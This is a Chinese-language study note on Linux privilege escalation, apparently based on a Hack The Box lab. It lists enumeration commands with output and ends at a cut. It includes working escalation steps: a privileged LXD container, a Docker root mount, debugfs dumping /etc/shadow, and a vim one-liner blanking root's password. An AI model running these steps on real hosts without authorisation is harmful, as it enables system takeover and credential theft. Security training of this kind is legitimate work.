Linux 系统上的 root 帐户提供对操作系统的完全管理级别访问权限。在评估期间,可能会在 Linux 主机上获得低权限 shell,并需要将权限提升到 root 帐户。

Environment Enumeration

枚举是特权提升的关键。有多个辅助脚本(如LinPEASLinEnum)可用于协助枚举。

Operating system and version

Ubuntu 维护周期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat /etc/os-release

NAME="Ubuntu"
VERSION="20.04.4 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.4 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

PATH

1
2
3
$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

env

1
2
3
4
5
6
7
8
9
10
11
$ env

SHELL=/bin/bash
PWD=/home/htb-student
LOGNAME=htb-student
XDG_SESSION_TYPE=tty
MOTD_SHOWN=pam
HOME=/home/htb-student
LANG=en_US.UTF-8

<SNIP>

Kernel version

1
2
3
4
5
6
7
$ uname -a

Linux nixlpe02 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

# or

cat /proc/version

CPU version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ lscpu 

Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 43 bits physical, 48 bits virtual
CPU(s): 2
On-line CPU(s) list: 0,1
Thread(s) per core: 1
Core(s) per socket: 2
Socket(s): 1
NUMA node(s): 1
Vendor ID: AuthenticAMD
CPU family: 23
Model: 49
Model name: AMD EPYC 7302P 16-Core Processor
Stepping: 0
CPU MHz: 2994.375
BogoMIPS: 5988.75
Hypervisor vendor: VMware

<SNIP>

Login Shells

1
2
3
4
5
6
7
8
9
10
11
12
$ cat /etc/shells

# /etc/shells: valid login shells
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/tmux
/usr/bin/screen

Defense

通常,没有权限列举这些保护措施的配置,但了解这些保护措施(如果有权限的话)可以帮助不在某些任务上浪费时间。

Drives and Shares

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ lsblk

NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 55M 1 loop /snap/core18/1705
loop1 7:1 0 69M 1 loop /snap/lxd/14804
loop2 7:2 0 47M 1 loop /snap/snapd/16292
loop3 7:3 0 103M 1 loop /snap/lxd/23339
loop4 7:4 0 62M 1 loop /snap/core20/1587
loop5 7:5 0 55.6M 1 loop /snap/core18/2538
sda 8:0 0 20G 0 disk
├─sda1 8:1 0 1M 0 part
├─sda2 8:2 0 1G 0 part /boot
└─sda3 8:3 0 19G 0 part
└─ubuntu--vg-ubuntu--lv 253:0 0 18G 0 lvm /
sr0 11:0 1 908M 0 rom

lpstat

查找有关连接到系统的任何打印机的信息。

fstab

检查已安装和未安装的驱动器,/etc/fstab

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat /etc/fstab

# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation
/dev/disk/by-id/dm-uuid-LVM-BdLsBLE4CvzJUgtkugkof4S0dZG7gWR8HCNOlRdLWoXVOba2tYUMzHfFQAP9ajul / ext4 defaults 0 0
# /boot was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/20b1770d-a233-4780-900e-7c99bc974346 /boot ext4 defaults 0 0

Route Table

1
2
3
4
5
6
$ route

Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default _gateway 0.0.0.0 UG 0 0 0 ens192
10.129.0.0 0.0.0.0 255.255.0.0 U 0 0 0 ens192

1
netstat -rn

Arp Table

1
2
3
$ arp -a

_gateway (10.129.0.1) at 00:50:56:b9:b9:fc [ether] on ens192

Users

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
mrb3n:x:1000:1000:mrb3n:/home/mrb3n:/bin/bash
bjones:x:1001:1001::/home/bjones:/bin/sh
administrator.ilfreight:x:1002:1002::/home/administrator.ilfreight:/bin/sh
backupsvc:x:1003:1003::/home/backupsvc:/bin/sh
cliff.moore:x:1004:1004::/home/cliff.moore:/bin/bash
logger:x:1005:1005::/home/logger:/bin/sh
shared:x:1006:1006::/home/shared:/bin/sh
stacey.jenkins:x:1007:1007::/home/stacey.jenkins:/bin/bash
htb-student:x:1008:1008::/home/htb-student:/bin/bash
<SNIP>

哈希算法列表:

Algorithm Hash
Salted MD5 $1$
SHA-256 $5$
SHA-512 $6$
BCrypt $2a$
Scrypt $7$
Argon2 $argon2i$

检查哪些用户有登录 shell。一旦看到系统上有哪些 shell,就可以检查每个版本是否存在漏洞。因为过时的版本(例如 Bash 版本 4.1)容易受到shellshock攻击。

1
2
3
4
5
6
7
8
9
10
11
12
$ grep "*sh$" /etc/passwd

root:x:0:0:root:/root:/bin/bash
mrb3n:x:1000:1000:mrb3n:/home/mrb3n:/bin/bash
bjones:x:1001:1001::/home/bjones:/bin/sh
administrator.ilfreight:x:1002:1002::/home/administrator.ilfreight:/bin/sh
backupsvc:x:1003:1003::/home/backupsvc:/bin/sh
cliff.moore:x:1004:1004::/home/cliff.moore:/bin/bash
logger:x:1005:1005::/home/logger:/bin/sh
shared:x:1006:1006::/home/shared:/bin/sh
stacey.jenkins:x:1007:1007::/home/stacey.jenkins:/bin/bash
htb-student:x:1008:1008::/home/htb-student:/bin/bash

Groups

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat /etc/group

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,htb-student
tty:x:5:syslog
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:htb-student
floppy:x:25:
tape:x:26:
sudo:x:27:mrb3n,htb-student
audio:x:29:pulse
dip:x:30:htb-student
www-data:x:33:

getent

1
2
3
$ getent group sudo

sudo:x:27:mrb3n

/home

1
2
3
4
$ ls /home

administrator.ilfreight bjones htb-student mrb3n stacey.jenkins
backupsvc cliff.moore logger shared

Mount

已挂载的文件

挂载文件系统,用户必须具有 root 权限。挂载文件系统后,具有 root 权限的用户可以将其卸载。可能有权访问此类文件系统,并可能在其中找到敏感信息、文档或应用程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ df -h

Filesystem Size Used Avail Use% Mounted on
udev 1,9G 0 1,9G 0% /dev
tmpfs 389M 1,8M 388M 1% /run
/dev/sda5 20G 7,9G 11G 44% /
tmpfs 1,9G 0 1,9G 0% /dev/shm
tmpfs 5,0M 4,0K 5,0M 1% /run/lock
tmpfs 1,9G 0 1,9G 0% /sys/fs/cgroup
/dev/loop0 128K 128K 0 100% /snap/bare/5
/dev/loop1 62M 62M 0 100% /snap/core20/1611
/dev/loop2 92M 92M 0 100% /snap/gtk-common-themes/1535
/dev/loop4 55M 55M 0 100% /snap/snap-store/558
/dev/loop3 347M 347M 0 100% /snap/gnome-3-38-2004/115
/dev/loop5 47M 47M 0 100% /snap/snapd/16292
/dev/sda1 511M 4,0K 511M 1% /boot/efi
tmpfs 389M 24K 389M 1% /run/user/1000
/dev/sr0 3,6G 3,6G 0 100% /media/htb-student/Ubuntu 20.04.5 LTS amd64
/dev/loop6 50M 50M 0 100% /snap/snapd/17576
/dev/loop7 64M 64M 0 100% /snap/core20/1695
/dev/loop8 46M 46M 0 100% /snap/snap-store/599
/dev/loop9 347M 347M 0 100% /snap/gnome-3-38-2004/119

未挂载的文件系统

卸载文件系统的原因有很多,例如磁盘被移除,或者不再需要文件系统。另一个原因可能是文件、脚本、文档和其他重要信息不能由标准用户安装和查看。因此,如果可以将权限扩展到用户root,就可以自己安装和读取这些文件系统。

1
2
3
4
5
$ cat /etc/fstab | grep -v "#" | column -t

UUID=5bf16727-fcdf-4205-906c-0620aa4a058f / ext4 errors=remount-ro 0 1
UUID=BE56-AAE0 /boot/efi vfat umask=0077 0 1
/swapfile none swap sw 0 0

隐藏文件

1
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null

临时文件

默认情况下,/var/tmp中的所有文件最多保留 30 天, /tmp 中的所有文件会在 10 天后自动删除。/dev/shm 是 Linux 系统中的一个临时文件系统,专门用于共享内存(Shared Memory)。

1
2
3
/tmp
/var/tmp
/dev/shm

Service Enumeration

Interface

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:ed:2a brd ff:ff:ff:ff:ff:ff
inet 10.129.203.168/16 brd 10.129.255.255 scope global dynamic ens192
valid_lft 3092sec preferred_lft 3092sec
inet6 dead:beef::250:56ff:feb9:ed2a/64 scope global dynamic mngtmpaddr
valid_lft 86400sec preferred_lft 14400sec
inet6 fe80::250:56ff:feb9:ed2a/64 scope link
valid_lft forever preferred_lft forever

1
2
3
ifconfig
# or
hostname -I

/etc/hosts

1
2
3
4
5
6
7
8
9
10
$ cat /etc/hosts

127.0.0.1 localhost
127.0.1.1 nixlpe02
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Last login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ lastlog

Username Port From Latest
root **Never logged in**
daemon **Never logged in**
bin **Never logged in**
sys **Never logged in**
sync **Never logged in**
...SNIP...
systemd-coredump **Never logged in**
mrb3n pts/1 10.10.14.15 Tue Aug 2 19:33:16 +0000 2022
lxd **Never logged in**
bjones **Never logged in**
administrator.ilfreight **Never logged in**
backupsvc **Never logged in**
cliff.moore pts/0 127.0.0.1 Tue Aug 2 19:32:29 +0000 2022
logger **Never logged in**
shared **Never logged in**
stacey.jenkins pts/0 10.10.14.15 Tue Aug 2 18:29:15 +0000 2022
htb-student pts/0 10.10.14.15 Wed Aug 3 13:37:22 +0000 2022

已登陆的用户

1
2
3
4
5
$ w

12:27:21 up 1 day, 16:55, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
cliff.mo pts/0 10.10.14.16 Tue19 40:54m 0.02s 0.02s -bash

1
2
who
finger

Bash history

1
2
3
4
5
6
7
8
9
$ history

1 id
2 cd /home/cliff.moore
3 exit
4 touch backup.sh
5 tail /var/log/apache2/error.log
6 ssh ec2-user@dmz02.inlanefreight.local
7 history

查找

1
2
3
$ find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null

-rw------- 1 htb-student htb-student 387 Nov 27 14:02 /home/htb-student/.bash_history

Cron jobs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ls -la /etc/cron.daily/

total 48
drwxr-xr-x 2 root root 4096 Aug 2 17:36 .
drwxr-xr-x 96 root root 4096 Aug 2 19:34 ..
-rwxr-xr-x 1 root root 376 Dec 4 2019 apport
-rwxr-xr-x 1 root root 1478 Apr 9 2020 apt-compat
-rwxr-xr-x 1 root root 355 Dec 29 2017 bsdmainutils
-rwxr-xr-x 1 root root 1187 Sep 5 2019 dpkg
-rwxr-xr-x 1 root root 377 Jan 21 2019 logrotate
-rwxr-xr-x 1 root root 1123 Feb 25 2020 man-db
-rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder
-rwxr-xr-x 1 root root 4574 Jul 18 2019 popularity-contest
-rwxr-xr-x 1 root root 214 Apr 2 2020 update-notifier-common

Proc

proc 文件系统( proc / procfs)是 Linux 中的一个特殊文件系统,其中包含有关系统进程、硬件和其他系统信息的信息。

1
2
3
4
5
6
7
8
9
$ find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"

...SNIP...
startups/usr/lib/packagekit/packagekitd/usr/lib/packagekit/packagekitd/usr/lib/packagekit/packagekitd/usr/lib/packagekit/packagekitdroot@10.129.14.200sshroot@10.129.14.200sshd:
htb-student
[priv]sshd:
htb-student
[priv]/usr/bin/ssh-agent-D-a/run/user/1000/keyring/.ssh/usr/bin/ssh-agent-D-a/run/user/1000/keyring/.sshsshd:
htb-student@pts/2sshd:

已安装的包

1
2
3
4
5
6
7
8
9
$ apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

Listing...
accountsservice-ubuntu-schemas 0.0.7+17.10.20170922-0ubuntu1
accountsservice 0.6.55-0ubuntu12~20.04.5
acl 2.2.53-6
acpi-support 0.143
acpid 2.0.32-1ubuntu1
...SNIP...

sudo

1
2
3
4
5
6
$ sudo -V

Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

二进制文件

GTFObins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ ls -l /bin /usr/bin/ /usr/sbin/

lrwxrwxrwx 1 root root 7 Oct 27 11:14 /bin -> usr/bin

/usr/bin/:
total 175160
-rwxr-xr-x 1 root root 31248 May 19 2020 aa-enabled
-rwxr-xr-x 1 root root 35344 May 19 2020 aa-exec
-rwxr-xr-x 1 root root 22912 Apr 14 2021 aconnect
-rwxr-xr-x 1 root root 19016 Nov 28 2019 acpi_listen
-rwxr-xr-x 1 root root 7415 Oct 26 2021 add-apt-repository
-rwxr-xr-x 1 root root 30952 Feb 7 2022 addpart
lrwxrwxrwx 1 root root 26 Oct 20 2021 addr2line -> x86_64-linux-gnu-addr2line
...SNIP...

/usr/sbin/:
total 32500
-rwxr-xr-x 1 root root 3068 Mai 19 2020 aa-remove-unknown
-rwxr-xr-x 1 root root 8839 Mai 19 2020 aa-status
-rwxr-xr-x 1 root root 139 Jun 18 2019 aa-teardown
-rwxr-xr-x 1 root root 14728 Feb 25 2020 accessdb
-rwxr-xr-x 1 root root 60432 Nov 28 2019 acpid
-rwxr-xr-x 1 root root 3075 Jul 4 18:20 addgnupghome
lrwxrwxrwx 1 root root 7 Okt 27 11:14 addgroup -> adduser
-rwxr-xr-x 1 root root 860 Dez 7 2019 add-shell
-rwxr-xr-x 1 root root 37785 Apr 16 2020 adduser
-rwxr-xr-x 1 root root 69000 Feb 7 2022 agetty
-rwxr-xr-x 1 root root 5576 Jul 31 2015 alsa
-rwxr-xr-x 1 root root 4136 Apr 14 2021 alsabat-test
-rwxr-xr-x 1 root root 118176 Apr 14 2021 alsactl
-rwxr-xr-x 1 root root 26489 Apr 14 2021 alsa-info
-rwxr-xr-x 1 root root 39088 Jul 16 2019 anacron
...SNIP...

跟踪系统调用

诊断工具strace可以用来跟踪和分析系统调用和信号处理。还可以使用该工具监视与安全相关的活动并识别潜在的攻击媒介,例如使用密码或令牌向远程主机发出的特定请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ strace ping -c1 10.129.112.20

execve("/usr/bin/ping", ["ping", "-c1", "10.129.112.20"], 0x7ffdc8b96cc0 /* 80 vars */) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
brk(NULL) = 0x56222584c000
arch_prctl(0x3001 /* ARCH_??? */, 0x7fffb0b2ea00) = -1 EINVAL (Invalid argument)
...SNIP...
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
...SNIP...
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libidn2.so.0", O_RDONLY|O_CLOEXEC) = 3
...SNIP...
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0 \0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0"..., 48, 848) = 48
...SNIP...
socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP) = 3
socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6) = 4
capget({version=_LINUX_CAPABILITY_VERSION_3, pid=0}, NULL) = 0
capget({version=_LINUX_CAPABILITY_VERSION_3, pid=0}, {effective=0, permitted=0, inheritable=0}) = 0
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 5
...SNIP...
socket(AF_INET, SOCK_DGRAM, IPPROTO_IP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(1025), sin_addr=inet_addr("10.129.112.20")}, 16) = 0
getsockname(5, {sa_family=AF_INET, sin_port=htons(39885), sin_addr=inet_addr("10.129.112.20")}, [16]) = 0
close(5) = 0
...SNIP...
sendto(3, "\10\0\31\303\0\0\0\1eX\327c\0\0\0\0\330\254\n\0\0\0\0\0\20\21\22\23\24\25\26\27"..., 64, 0, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("10.129.112.20")}, 16) = 64
...SNIP...
recvmsg(3, {msg_name={sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("10.129.112.20")}, msg_namelen=128 => 16, msg_iov=[{iov_base="\0\0!\300\0\3\0\1eX\327c\0\0\0\0\330\254\n\0\0\0\0\0\20\21\22\23\24\25\26\27"..., iov_len=192}], msg_iovlen=1, msg_control=[{cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=SO_TIMESTAMP_OLD, cmsg_data={tv_sec=1675057253, tv_usec=699895}}, {cmsg_len=20, cmsg_level=SOL_IP, cmsg_type=IP_TTL, cmsg_data=[64]}], msg_controllen=56, msg_flags=0}, 0) = 64
write(1, "64 bytes from 10.129.112.20: icmp_se"..., 57) = 57
write(1, "\n", 1) = 1
write(1, "--- 10.129.112.20 ping statistics --"..., 34) = 34
write(1, "1 packets transmitted, 1 receive"..., 60) = 60
write(1, "rtt min/avg/max/mdev = 0.287/0.2"..., 50) = 50
close(1) = 0
close(2) = 0
exit_group(0) = ?
+++ exited with 0 +++

查找文件

配置文件

1
2
3
4
5
6
7
8
9
$ find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null

-rw-r--r-- 1 root root 448 Nov 28 12:31 /run/tmpfiles.d/static-nodes.conf
-rw-r--r-- 1 root root 71 Nov 28 12:31 /run/NetworkManager/resolv.conf
-rw-r--r-- 1 root root 72 Nov 28 12:31 /run/NetworkManager/no-stub-resolv.conf
-rw-r--r-- 1 root root 0 Nov 28 12:37 /run/NetworkManager/conf.d/10-globally-managed-devices.conf
-rw-r--r-- 1 systemd-resolve systemd-resolve 736 Nov 28 12:31 /run/systemd/resolve/stub-resolv.conf
-rw-r--r-- 1 systemd-resolve systemd-resolve 607 Nov 28 12:31 /run/systemd/resolve/resolv.conf
...SNIP...

脚本文件

1
2
3
4
5
6
7
8
9
10
$ find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"

/home/htb-student/automation.sh
/etc/wpa_supplicant/action_wpa.sh
/etc/wpa_supplicant/ifupdown.sh
/etc/wpa_supplicant/functions.sh
/etc/init.d/keyboard-setup.sh
/etc/init.d/console-setup.sh
/etc/init.d/hwclock.sh
...SNIP...

PATH Abuse

1
2
3
4
5
$ PATH=.:${PATH}
$ export PATH
$ echo $PATH

.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Special Permissions

GTFOBins

SUID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null

-rwsr-xr-x 1 root root 16728 Sep 1 19:06 /home/htb-student/shared_obj_hijack/payroll
-rwsr-xr-x 1 root root 16728 Sep 1 22:05 /home/mrb3n/payroll
-rwSr--r-- 1 root root 0 Aug 31 02:51 /home/cliff.moore/netracer
-rwsr-xr-x 1 root root 40152 Nov 30 2017 /bin/mount
-rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 27608 Nov 30 2017 /bin/umount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14864 Jan 18 2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 85832 Nov 30 2017 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 428240 Jan 18 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 23376 Jan 18 2016 /usr/bin/pkexec
-rwsr-sr-x 1 root root 240 Feb 1 2016 /usr/bin/facter
-rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 10624 May 9 2018 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 1588768 Aug 31 00:50 /usr/bin/screen-4.5.0
-rwsr-xr-x 1 root root 94240 Jun 9 14:54 /sbin/mount.nfs

SGID

1
2
3
$ find / -perm -6000 -exec ls -ldb {} \; 2>/dev/null

-rwsr-sr-x 1 root root 85832 Nov 30 2017 /usr/lib/snapd/snap-confine

Sudo Abuse

可以向某个帐户授予 sudo 权限,允许该帐户在 root(或另一个帐户)的上下文中运行某些命令,而无需更改用户或授予过多权限。

1
2
3
4
5
6
7
$ sudo -l

Matching Defaults entries for sysadm on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysadm may run the following commands on NIX02:
(ALL : ALL) ALL

Privileged Groups

LXC / LXD

LXD 类似于 Docker,是 Ubuntu 的容器管理器。安装后,所有用户都会添加到 LXD 组。该组的成员身份可用于通过创建 LXD 容器、使其具有特权,然后访问主机文件系统来提升权限/mnt/root

1
2
3
4
5
6
7
8
9
10
lxd init
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t

$ lxc exec r00t /bin/sh
~ # id
uid=0(root) gid=0(root)
~ #

Docker

将用户放入 docker 组本质上相当于无需密码即可获得文件系统的 root 级别访问权限。docker 组的成员可以创建新的 docker 容器。一个例子是运行命令docker run -v /root:/mnt -it ubuntu。此命令创建一个新的 Docker 实例,并将主机文件系统上的 /root 目录作为卷挂载。启动容器后,就可以浏览到挂载的目录并为 root 用户检索或添加 SSH 密钥。这可以用于其他目录,例如/etc可用于检索文件内容/etc/shadow以进行离线密码破解或添加特权用户的目录。

Disk

磁盘组中的用户对 中包含的任何设备/dev(例如/dev/sda1)具有完全访问权限,这通常是操作系统使用的主要设备。具有这些权限的攻击者可以使用debugfs以root 级权限访问整个文件系统。

1
2
3
debugfs /dev/sda1
dump /etc/shadow /tmp/shadow_copy
quit

ADM

ADM 组的成员可以读取 /var/log 中存储的所有日志。这不会直接授予 root 访问权限,但可以利用该权限收集日志文件中存储的敏感数据或枚举用户操作和正在运行的 cron 作业。

aureport 是一个生成审计系统日志摘要报告的工具。

1
aureport --tty | less

Capabilities

Linux Capabilities 是 Linux 操作系统中的一项安全功能,允许向进程授予特定权限,从而使它们能够执行原本受限制的特定操作。

一种常见的漏洞是利用功能向未充分沙盒化或与其他进程隔离的进程授予特权,从而允许提升其特权并访问敏感信息或执行未经授权的操作。另一个潜在的漏洞是滥用或过度使用功能,这可能导致进程拥有超出其需要的权限。

设置可执行文件的功能:

1
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
能力 描述
cap_sys_admin 允许以管理权限执行操作,例如修改系统文件或更改系统设置。
cap_sys_chroot 允许更改当前进程的根目录,允许其访问原本无法访问的文件和目录。
cap_sys_ptrace 允许附加并调试其他进程,可能允许其访问敏感信息或修改其他进程的行为。
cap_sys_nice 允许提高或降低进程的优先级,从而可能使其获得原本受到限制的资源的访问权限。
cap_sys_time 允许修改系统时钟,可能允许它操纵时间戳或导致其他进程以意外的方式运行。
cap_sys_resource 允许修改系统资源限制,例如打开文件描述符的最大数量或可分配的最大内存量。
cap_sys_module 允许加载和卸载内核模块,可能允许其修改操作系统的行为或获取敏感信息。
cap_net_bind_service 允许绑定到网络端口,可能允许其访问敏感信息或执行未经授权的操作。
描述
= 此值设置可执行文件的指定功能,但不授予任何权限。如果想清除可执行文件的先前设置的功能,这将很有用。
+ep 此值将指定功能的有效权限和允许权限授予可执行文件。这允许可执行文件执行功能允许的操作,但不允许其执行功能不允许的任何操作。
+ei 此值授予可执行文件足够的、可继承的指定权限。这允许可执行文件执行该权限允许的操作,并且可执行文件生成的子进程可以继承该权限并执行相同的操作。
+p 此值将指定功能的允许权限授予可执行文件。这允许可执行文件执行功能允许的操作,但不允许它执行功能不允许的任何操作。如果想将功能授予可执行文件,但阻止它继承功能或允许子进程继承功能,这将很有用。

有多种 Linux Capabilities 可用于将用户权限升级到root,其中包括:

能力 描述
cap_setuid 允许进程设置其有效用户ID,该ID可用于获取其他用户(包括该root用户)的权限。
cap_setgid 允许设置其有效组ID,该组ID可用于获取另一个组(包括该root组)的权限。
cap_sys_admin 此功能提供广泛的管理权限,包括执行许多为用户保留的操作的能力root,例如修改系统设置以及挂载和卸载文件系统。
cap_dac_override 允许绕过文件读取、写入和执行权限检查。

enumeration

1
2
3
4
5
$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep

exploit

1
2
3
4
5
6
7
$ getcap /usr/bin/vim.basic

/usr/bin/vim.basic cap_dac_override=eip

$ /usr/bin/vim.basic /etc/passwd
# 修改为这样,就可以无密码 su root
root::0:0:root:/root:/bin/bash

可以用以下命令在非交互模式下执行

1
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

Cron Job Abuse

root crontab 几乎总是只能由根用户或具有完整 sudo 权限的用户编辑;但是,它仍然可能被滥用。根用户身份运行的可写入脚本,即使您无法读取 crontab 以了解确切的时间表,您也可能能够确定它运行的频率(即,每 12 小时创建一个 .tar.gz 文件的备份脚本)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Usage:  crontab [-u user] [-n] file
